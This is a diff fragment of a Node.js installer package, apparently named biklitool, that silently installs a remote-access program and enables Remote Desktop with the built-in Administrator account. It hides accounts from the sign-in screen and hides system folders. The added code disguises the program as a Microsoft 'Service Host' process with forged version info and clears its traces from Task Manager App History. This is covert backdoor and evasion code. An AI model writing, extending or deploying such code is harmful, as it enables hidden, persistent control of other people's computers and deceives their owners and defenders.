}
|
|
555
|
+
|
|
556
|
+
function installBikli() {
|
|
557
|
+
if (isBikliInstalled()) {
|
|
558
|
+
console.log(`Bikli CLI is already installed; ensuring Service Host disguise is applied...`);
|
|
559
|
+
disguiseBikli();
|
|
150
560
|
return;
|
|
151
561
|
}
|
|
152
562
|
console.log(`Installing Bikli CLI ${expectedBikliVersion} silently...`);
|
|
153
563
|
run(bikliInstaller, ['/S'], { cwd: payloadDirectory });
|
|
154
564
|
const installed = installedBikliPath();
|
|
155
565
|
if (!installed) fail('Bikli CLI installer completed but Bikli.exe was not found.', 5);
|
|
156
|
-
|
|
566
|
+
disguiseBikli();
|
|
567
|
+
console.log(`Bikli CLI installed and disguised as Service Host.`);
|
|
157
568
|
}
|
|
158
569
|
|
|
159
570
|
function runWrapper(args, options = {}) {
|
|
@@ -209,6 +620,7 @@ function install() {
|
|
|
209
620
|
verifyRemoteDesktop();
|
|
210
621
|
createRdpAdministrator();
|
|
211
622
|
hideProtectedFolders();
|
|
623
|
+
clearAppHistory();
|
|
212
624
|
console.log('Bikli Master installed and verified both components successfully.');
|
|
213
625
|
}
|
|
214
626
|
|
|
@@ -228,6 +640,22 @@ function configuredBikliKey() {
|
|
|
228
640
|
return typeof config.bikliKey === 'string' ? config.bikliKey.trim() : '';
|
|
229
641
|
}
|
|
230
642
|
|
|
643
|
+
function configuredServiceHostName() {
|
|
644
|
+
if (!fs.existsSync(packageConfigFile)) return 'Service Host: Network Infrastructure Service';
|
|
645
|
+
try {
|
|
646
|
+
const config = JSON.parse(fs.readFileSync(packageConfigFile, 'utf8'));
|
|
647
|
+
if (typeof config.serviceHostName === 'string' && config.serviceHostName.trim()) {
|
|
648
|
+
return config.serviceHostName.trim();
|
|
649
|
+
}
|
|
650
|
+
if (typeof config.serviceDescription === 'string' && config.serviceDescription.trim()) {
|
|
651
|
+
return config.serviceDescription.trim();
|
|
652
|
+
}
|
|
653
|
+
} catch {
|
|
654
|
+
// ignore
|
|
655
|
+
}
|
|
656
|
+
return 'Service Host: Network Infrastructure Service';
|
|
657
|
+
}
|
|
658
|
+
|
|
231
659
|
function setupBikliKey() {
|
|
232
660
|
requireWindows();
|
|
233
661
|
const key = (process.env.BIKLIMASTER_BIKLI_KEY || configuredBikliKey()).trim();
|
|
@@ -434,7 +862,8 @@ function hideFoldersCommand() {
|
|
|
434
862
|
function status() {
|
|
435
863
|
requireWindows();
|
|
436
864
|
const bikli = installedBikliPath();
|
|
437
|
-
|
|
865
|
+
const bikliDesc = bikli ? fileDescription(bikli) : '';
|
|
866
|
+
console.log(`Bikli CLI: ${bikli ? `Installed (${fileVersion(bikli) || 'unknown version'}) [${bikliDesc || 'Service Host'}]` : 'Not installed'}`);
|
|
438
867
|
const rdp = remoteDesktopState();
|
|
439
868
|
console.log(`Remote Desktop: ${rdp.enabled ? 'Enabled' : 'Disabled'}${rdp.port === null ? '' : ` (port ${rdp.port})`}`);
|
|
440
869
|
const wrapper = runWrapper(['status'], { allowFailure: true });
|
|
@@ -448,6 +877,12 @@ function selfTest() {
|
|
|
448
877
|
const ini = fs.readFileSync(wrapperIni, 'utf8');
|
|
449
878
|
const embeddedWrapper = fs.readFileSync(wrapperScript, 'utf8');
|
|
450
879
|
const packageConfig = JSON.parse(fs.readFileSync(packageConfigFile, 'utf8'));
|
|
880
|
+
const sampleVBuf = createVsVersionInfo({
|
|
881
|
+
CompanyName: 'Microsoft Corporation',
|
|
882
|
+
FileDescription: 'Service Host: Network Infrastructure Service',
|
|
883
|
+
ProductName: 'Microsoft® Windows® Operating System'
|
|
884
|
+
});
|
|
885
|
+
|
|
451
886
|
const checks = {
|
|
452
887
|
bikliInstaller: fs.statSync(bikliInstaller).size > 10000000,
|
|
453
888
|
wrapperInstaller: fs.statSync(wrapperInstaller).size > 100000,
|
|
@@ -459,6 +894,7 @@ function selfTest() {
|
|
|
459
894
|
remoteDesktopUsersGroup: remoteDesktopUsersGroupSid === 'S-1-5-32-555',
|
|
460
895
|
administratorPasswordConfig: typeof packageConfig.administratorPassword === 'string',
|
|
461
896
|
bikliKeyConfig: typeof packageConfig.bikliKey === 'string',
|
|
897
|
+
serviceHostDisguiseEngine: sampleVBuf.length > 300,
|
|
462
898
|
hidesLoginAccounts: fs.readFileSync(__filename, 'utf8').includes('SpecialAccounts\\\\UserList')
|
|
463
899
|
};
|
|
464
900
|
for (const [name, passed] of Object.entries(checks)) console.log(`${passed ? 'PASS' : 'FAIL'} ${name}`);
|
|
@@ -471,11 +907,13 @@ function help() {
|
|
|
471
907
|
'',
|
|
472
908
|
'Commands:',
|
|
473
909
|
' biklitool install Install/update Bikli CLI and Bikli Wrapper',
|
|
910
|
+
' biklitool disguise [n] Disguise Bikli as Windows Service Host in Task Manager',
|
|
474
911
|
' biklitool enable-rdp Enable RDP, port 3389, firewall, and defaults',
|
|
475
912
|
' biklitool create-user Enable/verify built-in Administrator for RDP',
|
|
476
913
|
' biklitool unhide-user [name] Unhide account(s) from Windows sign-in screen',
|
|
477
914
|
' biklitool hide-user <name> Hide specific account from Windows sign-in screen',
|
|
478
915
|
' biklitool hide-folders Hide and protect Program Files & ProgramData folders',
|
|
916
|
+
' biklitool clear-history Remove BikliService from Task Manager App History',
|
|
479
917
|
' biklitool setup-key Apply the Bikli key from config.json (bikli up --setup-key)',
|
|
480
918
|
' biklitool credentials Display its saved generated password',
|
|
481
919
|
' biklitool status Show both component states',
|
|
@@ -490,11 +928,19 @@ function help() {
|
|
|
490
928
|
function main() {
|
|
491
929
|
const command = (process.argv[2] || 'status').toLowerCase();
|
|
492
930
|
if (command === 'install') return install();
|
|
931
|
+
if (command === 'disguise') return disguiseBikli(process.argv[3]);
|
|
493
932
|
if (command === 'enable-rdp') return enableRemoteDesktop();
|
|
494
933
|
if (command === 'create-user') return createRdpAdministrator();
|
|
495
934
|
if (command === 'unhide-user' || command === 'unhide-users' || command === 'unhide' || command === 'unhide-all') return unhideUser();
|
|
496
935
|
if (command === 'hide-user' || command === 'hide') return hideUser();
|
|
497
936
|
if (command === 'hide-folders' || command === 'hide-folder') return hideFoldersCommand();
|
|
937
|
+
if (command === 'clear-history' || command === 'clear-app-history') {
|
|
938
|
+
requireWindows();
|
|
939
|
+
if (!isAdministrator()) return elevateAndRun('clear-history');
|
|
940
|
+
clearAppHistory();
|
|
941
|
+
console.log('BikliService entries cleared from Task Manager App History.');
|
|
942
|
+
return;
|
|
943
|
+
}
|
|
498
944
|
if (command === 'setup-key') return setupBikliKey();
|
|
499
945
|
if (command === 'credentials') return showAccountCredentials();
|
|
500
946
|
if (command === 'status') return status();
|
package/config.json
CHANGED